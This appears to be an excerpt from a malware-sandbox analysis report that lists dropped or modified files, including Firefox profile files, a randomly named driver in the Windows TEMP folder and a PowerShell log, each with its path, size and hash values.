SHA256 fe7686a6281f0ab519c32c788ce0da0d01640425018dcffcfcb81105757f6fe6
MD5 ae29912407dfadf0d683982d4fb57293
SHA1 0542053f5a6ce07dc206f69230109be4a5e25775
SHA512 6f9083152c02f93a900cb69b1ce879e0c0d69453f1046280ca549a0301ae7925facdda6329f7ccb61726addee78ba2fffc5ba3491a185f139f3155716caf0a8d
TLSH
T101B092446843B0B1187682471D795AA55A79B782E022486D6E6F27E10784727476D4E4
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\gmp-widevinecdm\4.10.2934.0\manifest.json
Size 1001B
SHA256 25ac9b79df29fa869b4c9f4ca3bdbc3a85f6122f5a8efab5a1216d577099becc
MD5 580786a5ec9eb650dde3e0e75db8588a
SHA1 8c0835d1a6bf82e753b624440e9674d649696ead
SHA512 c8d41e16b291157e2afbf978469eae4c017d1ce3b941b93ae710e2bbaaf4c3e601db45e579d22b957b7a1ec48cba788015725a2fa23cf02f2d66010ef4fdd0a0
TLSH
T100115B10DD388D9326E4BAA21CC6580957661DAF4CC23F98379E161D8F1C8AFA37366C
MD5 SHA1 SHA512 TLSH

Submit Download

widevinecdm.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\gmp-widevinecdm\4.10.2934.0\widevinecdm.dll
Size 18.9MB
SHA256 875a76af5b19622842c9b37fe77dce10ee83f27adbdcfcde9c814d4e1226d023
MD5 15fa9ea03f6f451d587b1dabb2f7b036
SHA1 a1a5cf60b693f732931f8e7512627d2840023dee
SHA512 8d5e5aa0a116bb09dd492b6b59bcd9458ded013e6b52a31dd36e81313c3f2d9ea01d5bf3ec4b0f2593633a5313705af773a4e7245d6cfd96f231332db26d75ae
SSDEEP 393216:uD9xOHbGD+l8Vm148M/i5hE4/junbj0OjLFI/USFUzUqr1d4Pg4C5/:tGD+l8VmuZ/S24/junfSFwUqYg4A
TLSH
T13717E149E36310E8E80E89F446AADA72D4743C4E03369BEF17D4BB3559727C06A79F06
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\prefs-1.js
Size 8KB
SHA256 233b34a4f59d0f5db319c2ac6cf7f05100a7664367d1af59c44a1e1cd9bbd174
MD5 8f33cf5518ab195c496832d80f197afd
SHA1 65ca84e15c31a0d780cd867cb7be7bf5d4f4b65b
SHA512 aca846d0b9bb20d0b0e00078234d368e25f32355dc0536fca29766dee759c5c39bbc469fb6bda9dc1bc893702fee3e979ea3edc5a9ee68efe11ef44b6b650fdb
SSDEEP 96:xHIFTUSVqGq5f8HtObzScSSladv9jat9nAWRYpZZnBw88Fs8L4cnFL7GmGS:2sR5f8HtuSSPRuBw88F1qA
TLSH
T1E502FD385404CF7F78B637BC6C6889715AA2013BB6BF68D751E954C40528F3481FA6EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\prefs.js
Size 6KB
SHA256 cb15e23a3ac7b0b96682a65d219c2b5cf48164fb98a1c4290bdd3c8ccd89a3ff
MD5 0d5563ea4aca51c340b809f076d1a37f
SHA1 f7b0fed9cd2f1fbcf19c049dfab02793639bf89c
SHA512 128aef075f83e0c4ec152a78b00deb57a280b95a89b1a31426e4d56cf4eaf5a999dfc5ceadf7b6c6de562b5afe688f2614d7f8a7d60920923df763ee3c02b7b2
SSDEEP 96:xHLUTUSVqGq5fxKjqnjV1zS/8SSladv9jbnAHVLBw88P8L4cnFs7GP:t9R5fxthO8SSdFBw88BqP
TLSH
T133E11F789448CB7F68B6776CAC6888316AB2413BB7BF68C750B544C4054CF3441FA6EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\prefs.js
Size 7KB
SHA256 e3982d0c8af744170f33f04453c855d6477e39bf432abd2b0ac599c41aa4856e
MD5 c984d2a0abd5f4b8d831f53f36ea97a5
SHA1 0cc2ab160371cb83c4812164a177636a268fc4a0
SHA512 9f111c1de764c737bdb3cd2d6ee30a3f0a020ebbfb50e875df018a10b20998e09e7fc787eb3f1184de45d48fded500835a4a0440f8eb5c47dd6cc3269faa05c7
SSDEEP 96:xHLUTUSVqGq5fxHtObzScSSladv9jat9nAHVLBw88P8L4cnFs7GmGS:t9R5fxHtuSS6FBw88BqA
TLSH
T1C3E11F7894088F7F68B677AC6C6888316AB2413BBBBF68D750B544C4055CF3441FA6EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\prefs.js
Size 6KB
SHA256 b9b6ac595eb94f93207d0ef05114e79b00ef6044e300580d0d004d29dac17937
MD5 b211f8ac54fe26c3298706f5d2ff3fe1
SHA1 7b10b9b5403e4cf470dc3f7c2c575272077f6689
SHA512 a2839fc3963f02e95dab253aff18c74d96983e18e523b48874ae3fc4728d43fe27f570fdd68c5384c814ea707ae180f7f12f2f406e13976ad6b64077ae0ec922
SSDEEP 96:xHLUTUSVqGq5fxHt1zScSSladv9jat9nAHVLBw88P8L4cnFs7GP:t9R5fxHtxSS6FBw88BqP
TLSH
T132E11E7894088F6F68B677AC6C6888316AB2413BB7BF68D750B944C4055CF3441FA6EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\sessionstore-backups\recovery.jsonlz4
Size 1KB
SHA256 7ac0b26e04c6e1084a919e0a3a656f22110056117ef03f4636709ef73fcb22b8
MD5 cff8882f032e34be18a05b3f35ebe136
SHA1 088f153fe906a6dd741e35031935571308663748
SHA512 303228d43931336019ec0de48542ee072a79f77e9818c9a60f7597da3c8412d191af067c8c3f5bcab170cf417eba23df0cdc1018297a828df161e85ab50a11c2
TLSH
T1DF21B742EDEF5CF52528938AD0CB1BE5DF2910654154C4F0DC8059014AACA1977EF71E
MD5 SHA1 SHA512 TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 3.3MB
SHA256 181a10aa1ba5f6b42f2bb4e89ac894ea74bac2eb37409f24ddd197b7dfc14eae
MD5 d8520fa3f0c47d3f5aabbae36218b763
SHA1 ac2f2cf41697175383c05b29051bcd40f4e64c30
SHA512 ba4bb120083aa0ebf37c2ee24d2c6340be05cc12e8828a624afe7eb8fb560568551d2e4e3592ae450781e0c7da56555288615b2952238b9f274433e35a797d5e
SSDEEP 24576:bCW++tIdfnUarz63BDcYrVQpQ9pyi9P28lQyzH:bjUvUs6pcYrVEQ9p39P2+Qyz
TLSH
T1D5F53BF820D2B357F3418033A64593EB21AFD00C6467DE044BA956E895B9CEF9E05B7E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\luq7t40t.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 12.5MB
SHA256 31be6819be231f872cc6aebb8cf9e80d912e9bd03d0041517d3d86c107407bd8
MD5 0be7612f3b4225cfeb3c12d260b20a50
SHA1 f1d20c7f54097a9accff2dbb62e8df7a94829863
SHA512 671f9bfd66dadb780f842b7e0006fd71678038605e2be535e1dea38f3bbb022e75085de6b80f5109058e5e925e123ca8c022e4d135505b3fcb9d26ce6365e1ad
SSDEEP 49152:eB/d2nNwPhYTa9r9MM9+4110fiDY+sF+MExKYy6hWYGffhDhLaChQmG4moxDIaRN:U/8Qhkax9F9+4111jb/Ty66
TLSH
T1EDD6299270E1D6A2EE0086F2B31F53EB303FC1DC20E589941678B56C596369BEE6F354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

huqjargxdupi.sys

Path C:\Windows\TEMP\huqjargxdupi.sys
Size 14KB
SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
MD5 0c0195c48b6b8582fa6f6373032118da
SHA1 d25340ae8e92a6d29f599fef426a2bc1b5217299
SHA512 ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d
SSDEEP 192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
TLSH
T1096218874B7E1906FB969F7592E9C7936D34F6C0CFA825CF421299982C413E0AF2861C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.EXE.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Size 3KB
SHA256 079b31aa6c5078c9a97ffc9cfd2778942fbb12359b05975eb18507b6a1f18438
MD5 6db666b8eea8c87bb44fc342dbda5fcb
SHA1 2536fb957e13fd2144e482970707286ca2625816
SHA512 88fcd3e8aaefc443b3fac3ec5a55762424a9d2211b051a36daad0c6be63f7a3f6f51d4be4e89189be044c7df6bcbded7eab6d3cba07a7a1458c48604b365579e
TLSH
T12571CD323375B0D4C9567F07192C19C063BF4396EA98AF5CB65C521ED92750B9B222F3
MD5 SHA1 SHA512 TLSH

Submit Download